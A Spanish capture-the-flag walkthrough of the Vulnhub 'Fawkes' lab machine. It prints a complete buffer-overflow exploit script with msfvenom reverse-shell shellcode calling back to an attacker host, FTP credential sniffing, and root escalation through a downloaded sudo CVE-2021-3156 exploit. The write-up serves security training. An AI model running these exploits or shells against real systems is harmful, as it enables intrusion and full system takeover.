Fawkes - Harry Potter
Walkthrough de la máquina Fawkes de la serie de Harry Potter de Vulnhub
Fawkes es la tercera de tres CTFs de la serie de Harry Potter en la cual tienes que encontrar 3 horcruxes (hay un total de 8 horcruxes escondidos a lo largo de las máquinas de la serie) para poder derrotar a Voldemort.
Escaneo de puertos
Lo primero que hacemos es tratar de detectar los puertos que están abiertos en la máquina víctima. Para ello vamos a lanzar un escaneo con nmap
contra todos los puertos disponibles (-p-
) usando la plantilla de temporizado más rápida (-T5
), filtrando por los puertos abiertos (--open
), y deshabilitando la resolución DNS (-n
) y el descubrimiento de hosts (-Pn
):
nmap --open -p- -T5 -n -Pn 10.0.0.2
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 20:19 CET Nmap scan report for 10.0.0.102 Host is up (0.014s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 2222/tcp open EtherNetIP-1 9898/tcp open monkeycom Nmap done: 1 IP address (1 host up) scanned in 5.15 seconds
De este primer escaneo obtenemos que tenemos los siguientes puertos abiertos: 21 (FTP), 22 (SSH), 80 (HTTP), 2222 (EtherNetIP-1) y 9898 (monkeycom). Sabiendo esto, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo en esos puertos, y las versiones de los mismos (-sCV
):
nmap -p21,22,80,2222,9898 -sCV 10.0.0.102
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 20:23 CET Nmap scan report for 10.0.0.102 Host is up (0.0045s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.0.0.100 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 705996 Apr 12 2021 server_hogwarts 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 48df48372594c4746b2c6273bfb49fa9 (RSA) | 256 1e3418175e17958f702f80a6d5b4173e (ECDSA) |_ 256 3e795f55553b127596b43ee3837a5494 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) 2222/tcp open ssh OpenSSH 8.4 (protocol 2.0) | ssh-hostkey: | 3072 c41dd5668524574a864ed9b60069788d (RSA) | 256 0b31e76726c64d12bf2a8531bf21311d (ECDSA) |_ 256 9bf4bd71fa16ded589ac698d1e93e58a (ED25519) 9898/tcp open tcpwrapped Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.58 seconds
El escaneo con nmap
nos revela que se están exponiendo servicios no esperados en los puertos abiertos, obteniendo la siguiente información relevante:
21/TCP
: vsftpd 3.0.3- Anonymous FTP login allowed
22/TCP
: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)80/tcp
: HTTP - Apache httpd 2.4.38 ((Debian))2222/tcp
: SSH - OpenSSH 8.4 (protocol 2.0)9898/tcp
: - tcpwrapped
De aquí sacamos varias conclusiones. Por un lado tenemos un servicio FTP que permite un login anónimo, por lo que podríamos conectarnos y tratar de ver si podemos descargar algún archivo importante. Por otro lado, tenemos 2 versiones diferentes de SSH, lo que me hace pensar que puede haber un contenedor con el servicio de SSH expuesto. Finalmente tenemos un servicio desconocido en el puerto 9898 que tendremos que investigar.
Análisis del servicio FTP (21/TCP)
Gracias al escaneo de nmap
ya sabemos que podemos conectarnos mediante FTP con el usuario "anonymous", así que usamos el comando ftp
para conectarnos dejando la contraseña vacía:
ftp 10.0.0.102
Resultado:
Connected to 10.0.0.102. 220 (vsFTPd 3.0.3) Name (10.0.0.102:parrot): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>
Una vez que estamos dentro listamos los contenidos con el comando ls
, lo que nos revela que existe únicamente un fichero que se llama server_hogwarts
. Como nos interesa poder analizarlo en local, usamos el comando get server_hogwarts
para descargárnoslo. Ahora que lo tenemos en local, tratamos de ver qué es ese fichero usando el comando file
:
file server_hogwarts
Resultado:
server_hogwarts: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=1d09ce1a9929b282f26770218b8d247716869bd0, for GNU/Linux 3.2.0, not stripped
El resultado nos indica que es un ejecutable de 32 bits. Lo siguinete que podemos hacer es ejecutar el binario y ver qué es lo que pasa. Para ello le damos permisos de ejecución y lo ejecutamos:
chmod +x server_hogwarts ./server_hogwarts
En principio vemos que no pasa nada pero en el nombre nos indica que el ejecutable es un servidor, así que vamos a ver si tenemos algún puerto ocupado por el ejecutable. Para ello usamos netstat
:
sudo netstat -tulpn | grep LISTEN
Resultado:
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 790/postgres tcp 0 0 0.0.0.0:9898 0.0.0.0:* LISTEN 1990/./server_hogwa tcp6 0 0 ::1:5432 :::* LISTEN 790/postgres
Y como esperábamos está escuchando en el puerto 9898. Para tratar de ver qué hace el servidor vamos a conectarnos usando netcat
:
nc localhost 9898
Resultado:
Welcome to Hogwart's magic portal Tell your spell and ELDER WAND will perform the magic Here is list of some common spells: 1. Wingardium Leviosa 2. Lumos 3. Expelliarmus 4. Alohomora 5. Avada Kedavra Enter your spell:
Ahí tenemos lo que está exponiendo el servidor. Nos lista una serie de hechizos que podemos usar y, en caso de introducir uno de los existentes, nos muestra un pequeño texto relativo al hechizo. Lo primero que me llama la atención, es que el puerto en el que escucha el servidor, el 9898 también está expuesto en la máquina víctima, así que podemos probar a conectarnos de la misma manera y comprobar cuál es el resultado:
nc 10.0.0.102 9898
Y como podemos comprobar, el resultado es el mismo. Ese es el servicio desconocido que teníamos expuesto en ese puerto.
Lo siguiente que podemos probar, ya que el script nos pide que introduzcamos una cadena de texto, es ver si el script es vulnerable a buffer overflow. Para ello, cuando el servidor nos pide que introduzcamos el hechizo, introducimos una cadena muy larga de letras "A" obteniendo el siguiente mensaje en la terminal en donde teníamos ejecutando el servidor:
Error from clientSegmentation fault
Con esta confirmación de que el input del usuario no está bien controlado y sabiendo que este mismo ejecutable está siendo ejecutado en la máquina víctima podemos tratar de explotar el buffer overflow para ejecutar comandos de manera remota.
Explotación del Buffer Overflow
Lo primero que tenemos que hacer es comprobar si el ejecutable tiene algún tipo de protección, y tratar de conseguir el offset que necesitamos para tener control del registro $eip
, que es el que indica cual es la siguiente instrucción a ejecutar. Para ello vamos a usar GDB, que es un debugger de C, con GEF, que es una extensión de GDB.
Para comprobar si tiene algún tipo de protección abrimos el ejecutable con GDB y hacemos la comprobación con checksec
:
gdb ./server_hogwarts gef➤ checksec
Resultado:
Canary : ✓ (value: 0x50af1100) NX : ✘ PIE : ✘ Fortify : ✘ RelRO : ✘
En este caso nos indica que no hay ningún tipo de protección que tengamos que tener en cuenta a la hora de explotar el buffer overflow.
A continuación, para obtener ese offset tenemos que generar un patrón mediante el cual luego podamos calcular la posición en la que se encuentra el valor almacenado en el registro $eip
. Para generar este patrón usamos el comando de GEF pattern create
dentro de GDB:
gdb ./server_hogwarts gef➤ pattern create
Como resultado nos da una cadena de caracteres muy larga la cual tenemos que usar como input cuando el ejecutable nos pregunta el hechizo a través del puerto 9898. Copiamos la cadena, ejecutamos el binario usando el comando run
en GDB, nos conectamos al servidor con nc localhost 9898
e introducimos la cadena que habíamos generado anteriormente. Al mandar la cadena el debugger parará automáticamente al haber detectado un error, y podremos ver el estado de los registros del programa en ese momento:
Program received signal SIGSEGV, Segmentation fault. 0x62616164 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffcafc → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]" $ebx : 0x62616162 ("baab"?) $ecx : 0xffffd0c0 → "our spell: " $edx : 0xffffcf04 → "our spell: " $esp : 0xffffcb70 → "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]" $ebp : 0x62616163 ("caab"?) $esi : 0x80b3158 → "../csu/libc-start.c" $edi : 0xffffd0b8 → "\nEnter your spell: " $eip : 0x62616164 ("daab"?) $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 ─────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffcb70│+0x0000: "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]" ← $esp 0xffffcb74│+0x0004: "faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra[...]" 0xffffcb78│+0x0008: "gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsa[...]" 0xffffcb7c│+0x000c: "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta[...]" 0xffffcb80│+0x0010: "iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabua[...]" 0xffffcb84│+0x0014: "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[...]" 0xffffcb88│+0x0018: "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa[...]" 0xffffcb8c│+0x001c: "laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxa[...]" ───────────────────────────────────────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x62616164 ───────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "server_hogwarts", stopped 0x62616164 in ?? (), reason: SIGSEGV
Ahí podemos observar como la cadena introducida se encuentra por todos los registros y el stack. En concreto nos interesa el valor que tenemos en el registro $eip
, que sería "daab". Ahora, para obtener el offset, ejecutamos en el debugger pattern offset $eip
:
[+] Searching for '$eip' [+] Found at offset 112 (little-endian search) likely [+] Found at offset 304 (big-endian search)
Como el ejecutable está compilado para una arquitectura de 32 bits nos tenemos que quedar con el valor que corresponda con el little-endian
, en este caso el offset sería de 112.
Ahora que ya tenemos el offset vamos a empezar a crear un pequeño script en Python que nos permita automatizar la tarea de conectarnos y explotar el buffer overflow, así que para ello creamos el fichero exploit.py
con el siguiente código:
#!/usr/bin/env python3 import socket # Define exploit variables target_host = "localhost" target_port = 9898 offset = 112 payload_offset = b"A" * offset payload_eip = b"BBBB" paylaod_nops = b"" # Build the payload payload = payload_offset + payload_eip + paylaod_nops # Connect to server client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((target_host, target_port)) # Send payload to server client.send(payload)
Si ejecutamos este script y miramos el debugger, podremos comprobar que hemos escrito las 4 "B"s en el registro $eip
como esperábamos:
chmod +x exploit.py ./exploit.py
Resultado:
$eip : 0x42424242 ("BBBB"?)
Para evitar problemas a la hora de ejecutar el código que queramos inyectar, vamos a agregar una serie de valores que no ejecuten ninguna instrucción después del $eip
. Estos valores se agregan con la instrucción nop (\x90
). Modificamos nuestra variable payload_nops
de la siguiente manera:
paylaod_nops = b"\x90" * 32
Si ejecutamos de nuevo el exploit y comprobamos en GDB cómo se está sobreescribiendo la pila, podemos observar que el registro $esp
está apuntando al inicio de la pila:
$esp : 0xffffcb70 → 0x90909090 ... 0xffffcb70│+0x0000: 0x90909090 ← $esp
Esto nos permite que, si hacemos que el registro $eip
apunte a una instrucción que haga un jump al $esp
, podamos ejecutar las instrucciones que se encuentren después de nuestro conjunto de nop (\x90
) en la pila.
Para encontrar una instrucción que haga ese jump al $esp
primero debemos conocer el operation code de esa instrucción. Usamos la herramienta nasm_shell.rb
de metasploit para obtenerlo:
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > jmp ESP
Resultado:
00000000 FFE4 jmp esp
De ahí obtenemos que el operation code es FFE4
. Lo siguiente es usar el comando objdump
para encontrar las posiciones de memoria de instrucciones con ese operation code:
objdump -D server_hogwarts | grep "ff e4"
Resultado:
8049d55: ff e4 jmp *%esp 80b322c: 81 73 f6 ff e4 73 f6 xorl $0xf673e4ff,-0xa(%ebx) 80b3253: ff 91 73 f6 ff e4 call *-0x1b00098d(%ecx) 80b500f: ff e4 jmp *%esp 80b51ef: ff e4 jmp *%esp 80b546f: ff e4 jmp *%esp 80d0717: ff e4 jmp *%esp
Como podemos observar, hay varias instrucciones que podrían valernos. Elegimos una, por ejemplo la primera: 8049d55
. Esa es la posición de memoria a la que nos interesa que apunte nuestro registro $eip
. Hay que tener en cuenta que como el programa está en 32 bits hay que transformar a little endian. Modificamos el script para el payload_eip
tenga el valor que hemos obtenido:
payload_eip = b"\x55\x9d\x04\x08" # 8049d55 = jmp *%esp
Una vez que tenemos preparado el $eip
, es hora de generar nuestro shellcode. Para ello vamos a usar msfvenom
. Vamos a crear una shell inversa sobre TCP para un sistema x86 (-p
), le indicamos la IP (LHOST
) y puerto (LPORT
) en la que estaremos escuchando, indicamos que el \x00
es un bad char (-b
), que el payload es de python (-f
) y en nombre de la variable que queremos que genere (-v
):
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.100 LPORT=8888 -b "\x00" -f py -v payload_shellcode
Resultado:
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of py file: 680 bytes payload_shellcode = b"" payload_shellcode += b"\xba\xc2\x1a\xc1\x26\xda\xd0\xd9\x74" payload_shellcode += b"\x24\xf4\x5e\x29\xc9\xb1\x12\x31\x56" payload_shellcode += b"\x12\x03\x56\x12\x83\x04\x1e\x23\xd3" payload_shellcode += b"\xb9\xc4\x54\xff\xea\xb9\xc9\x6a\x0e" payload_shellcode += b"\xb7\x0f\xda\x68\x0a\x4f\x88\x2d\x24" payload_shellcode += b"\x6f\x62\x4d\x0d\xe9\x85\x25\x84\x09" payload_shellcode += b"\x76\xd1\xf0\x0b\x76\x3b\xb9\x85\x97" payload_shellcode += b"\x8b\xdf\xc5\x06\xb8\xac\xe5\x21\xdf" payload_shellcode += b"\x1e\x69\x63\x77\xcf\x45\xf7\xef\x67" payload_shellcode += b"\xb5\xd8\x8d\x1e\x40\xc5\x03\xb2\xdb" payload_shellcode += b"\xeb\x13\x3f\x11\x6b"
Después de esto, lo único que nos quezzda sería agregar este shellcode al final de nuestro payload en nuestro script, y ajustar la IP para que apunte a la máquina víctima. El resultado final sería (aquí hay que tener en cuenta que la IP de la máquina atacante está en el propio shellcode, no se puede copiar y usar directamente en vuestras máquinas si las IPs no son las mismas):
#!/usr/bin/env python3 import socket # Define exploit variables target_host = "10.0.0.102" target_port = 9898 offset = 112 payload_offset = b"A" * offset payload_eip = b"\x55\x9d\x04\x08" # 8049d55 = jmp *%esp paylaod_nops = b"\x90" * 32 payload_shellcode = b"" payload_shellcode += b"\xba\xc2\x1a\xc1\x26\xda\xd0\xd9\x74" payload_shellcode += b"\x24\xf4\x5e\x29\xc9\xb1\x12\x31\x56" payload_shellcode += b"\x12\x03\x56\x12\x83\x04\x1e\x23\xd3" payload_shellcode += b"\xb9\xc4\x54\xff\xea\xb9\xc9\x6a\x0e" payload_shellcode += b"\xb7\x0f\xda\x68\x0a\x4f\x88\x2d\x24" payload_shellcode += b"\x6f\x62\x4d\x0d\xe9\x85\x25\x84\x09" payload_shellcode += b"\x76\xd1\xf0\x0b\x76\x3b\xb9\x85\x97" payload_shellcode += b"\x8b\xdf\xc5\x06\xb8\xac\xe5\x21\xdf" payload_shellcode += b"\x1e\x69\x63\x77\xcf\x45\xf7\xef\x67" payload_shellcode += b"\xb5\xd8\x8d\x1e\x40\xc5\x03\xb2\xdb" payload_shellcode += b"\xeb\x13\x3f\x11\x6b" # Build the payload payload = payload_offset + payload_eip + paylaod_nops + payload_shellcode # Connect to server client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((target_host, target_port)) # Send payload to server client.send(payload)
Nos ponemos en escucha con netcat
por el puerto que hemos indicado al generar el payload:
nc -nlvp 8888
Tras recibir la confirmación de que estamos escuchando por el puerto ejecutamos nuestro exploit en Python:
./exploit.py
Resultado:
connect to [10.0.0.100] from (UNKNOWN) [10.0.0.102] 40450
Con esto hemos conseguido ejecutar una reverse shell en la máquina víctima, permitiéndonos la ejecución remota de comandos.
Comprometiendo el contendor
Como podemos ver, tenemos acceso a la máquina como el usuario harry (podemos comprobarlo usando el comando whoami
). Si listamos el directorio home del usuario harry vemos que hay un fichero .mycreds.txt
. Si lo abrimos vemos lo siguiente:
HarrYp0tter@Hogwarts123
Como nos encontramos ante un contenedor (podemos saberlo comprobando que la IP es diferente a la de la máquina víctima ejecutando ip a
), podemos probar esas credenciales usando SSH contra la máquina víctima a ver is hay suerte. Tras probarlas contra el puerto 22 y el 2222 no conseguimos conectarnos, por lo que parece que a priori no nos valen.
Lo siguiente que podemos intentar es tratar de conseguir accesso como root a la máquina actual. Lo primero que podemos hacer es ver los permisos del usuario actual, así que ejecutamos sudo -l
:
User harry may run the following commands on 2b1599256ca6: (ALL) NOPASSWD: ALL
Esto nos indica que podemos ejecutar cualquier comando como administrador sin proporcionar contraseña. Ejecutamos sudo /bin/sh
, whoami
y comprobamos que ya somos el usuario root del contenedor.
Si investigamos la home del usuario root
/root
no tardamos mucho en encontrar el primer horcrux (horcrux1.txt
):horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
.
En la carpeta /root
también nos encontramos un fichero note.txt
, que tiene el siguiente contenido:
Hello Admin!! We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.
Parece que nos da una pista sobre un usuario que está intentando autenticarse contra la máquina mediante FTP. Capturando esos paquetes podríamos tratar de obtener las credenciales de ese usuario ya que puede haber reutilización de contraseñas, así que vamos a tratar de ver qué paquetes FTP nos llegan usando tcpdump
:
tcpdump -i eth0 port ftp or ftp-data
Resultado (tras esperar un poco):
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 19:06:01.328036 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [S], seq 241283689, win 64240, options [mss 1460,sackOK,TS val 606777747 ecr 0,nop,wscale 7], length 0 19:06:01.328058 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [S.], seq 337887726, ack 241283690, win 65160, options [mss 1460,sackOK,TS val 3584345112 ecr 606777747,nop,wscale 7], length 0 19:06:01.328096 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [.], ack 1, win 502, options [nop,nop,TS val 606777747 ecr 3584345112], length 0 19:06:01.332233 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [P.], seq 1:21, ack 1, win 510, options [nop,nop,TS val 3584345116 ecr 606777747], length 20: FTP: 220 (vsFTPd 3.0.3) 19:06:01.332253 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [.], ack 21, win 502, options [nop,nop,TS val 606777751 ecr 3584345116], length 0 19:06:01.332553 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [P.], seq 1:15, ack 21, win 502, options [nop,nop,TS val 606777751 ecr 3584345116], length 14: FTP: USER neville 19:06:01.332558 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [.], ack 15, win 510, options [nop,nop,TS val 3584345116 ecr 606777751], length 0 19:06:01.332639 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [P.], seq 21:55, ack 15, win 510, options [nop,nop,TS val 3584345116 ecr 606777751], length 34: FTP: 331 Please specify the password. 19:06:01.332717 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [P.], seq 15:30, ack 55, win 502, options [nop,nop,TS val 606777751 ecr 3584345116], length 15: FTP: PASS bL!Bsg3k 19:06:01.375711 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [.], ack 30, win 510, options [nop,nop,TS val 3584345159 ecr 606777751], length 0 19:06:04.424045 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [P.], seq 55:77, ack 30, win 510, options [nop,nop,TS val 3584348208 ecr 606777751], length 22: FTP: 530 Login incorrect. 19:06:04.424166 IP 172.17.0.1.59308 > 2b1599256ca6.21: Flags [P.], seq 30:36, ack 77, win 502, options [nop,nop,TS val 606780843 ecr 3584348208], length 6: FTP: QUIT 19:06:04.424174 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [.], ack 36, win 510, options [nop,nop,TS val 3584348208 ecr 606780843], length 0 19:06:04.424291 IP 2b1599256ca6.21 > 172.17.0.1.59308: Flags [P.], seq 77:
Del resultado de la captura obtenemos lo siguiente:
- USER neville
- PASS bL!Bsg3k
Comprometiendo la máquina víctima
Si probamos esas credenciales mediante SSH ssh neville@10.0.0.102
comprobamos que tenemos acceso a la máquina víctima como el usuario neville. En este caso si comprobamos la IP de la máquina con ip a
podemos ver que coincide, por lo que no estamos ante un contenedor.
Si listamos el contenido del directorio home del usuario neville
/home/neville
encontramos el segundo horcrux (horcrux2.txt
):horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
.
Tras esto, tiene pinta que sólo nos queda comprometer al usuario root para poder recuperar el tercer horcrux y terminar la serie de máquinas. Cómo no tenemos ningún permiso como sudoer asignado (sudo -l
nos pide contraseña), vamos a buscar si tenemos privilegios SUID. Para eso vamos a la carpeta raíz (cd /
) y ejecutamos:
find \-perm -4000 2>/dev/null
Resultado:
./usr/local/bin/sudo ./usr/bin/newgrp ./usr/bin/chfn ./usr/bin/mount ./usr/bin/su ./usr/bin/passwd ./usr/bin/chsh ./usr/bin/gpasswd ./usr/bin/umount ./usr/lib/openssh/ssh-keysign ./usr/lib/dbus-1.0/dbus-daemon-launch-helper ./usr/lib/eject/dmcrypt-get-device
Lo primero que llama la atención es el binario sudo
que se encuentra en /usr/local/bin
. Vamos a comprobar la versión de sudo para ver si tiene alguna vulnerlabilidad con sudo --version
:
Sudo version 1.8.27 Sudoers policy plugin version 1.8.27 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.27
Si buscamos "sudo 1.8.27 exploit" en Google no tardan en aparecernos resultados indicando que es vulnerable. Entre los resultados damos con una CVE que deriva en una escalada de privilegios, la CVE-2021-3516
. Buscando el exploit en GitHub para esa CVE (buscando "sudo 1.8.27 exploit github CVE-2021-3156") damos con el repositorio worawit/CVE-2021-3156.
Lo primero que hacemos es descargar el script exploit_nss.py
con curl a nuestra máquina de atacante:
wget https://raw.githubusercontent.com/worawit/CVE-2021-3156/main/exploit_nss.py
Abrimos el editor de código y ajustamos la variable SUDO_PATH
para que apunte a la ruta donde está el binario sudo
de la máquina víctima:
SUDO_PATH = b"/usr/local/bin/sudo"
Una vez lo tenemos preparado, lo movemos a la máquina víctima. Una forma de hacer esto es levantando un servidor con Python (python3 -m http.server 8000
), y haciendo una petición con wget desde la máquina víctima (wget http://10.0.0.100:8000/exploit_nss.py
). Una vez que lo tenemos en la máquina víctima lo ejecutamos con Python 3:
python3 exploit_nss.py
Resultado:
# id uid=0(root) gid=0(root) groups=0(root),1000(neville)
Finalmente tenemos acceso como el usuario root a la máquina víctima, por lo que podemos empezar a buscar el tercer y último horcrux.
Si vamos la home del usuario root
/root
vemos que ahí está el tercer horcrux (horcrux3.txt
):horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}
.
Con esto tenemos el último horcrux y terminamos la serie de CTFs de Harry Potter de Vulnhub.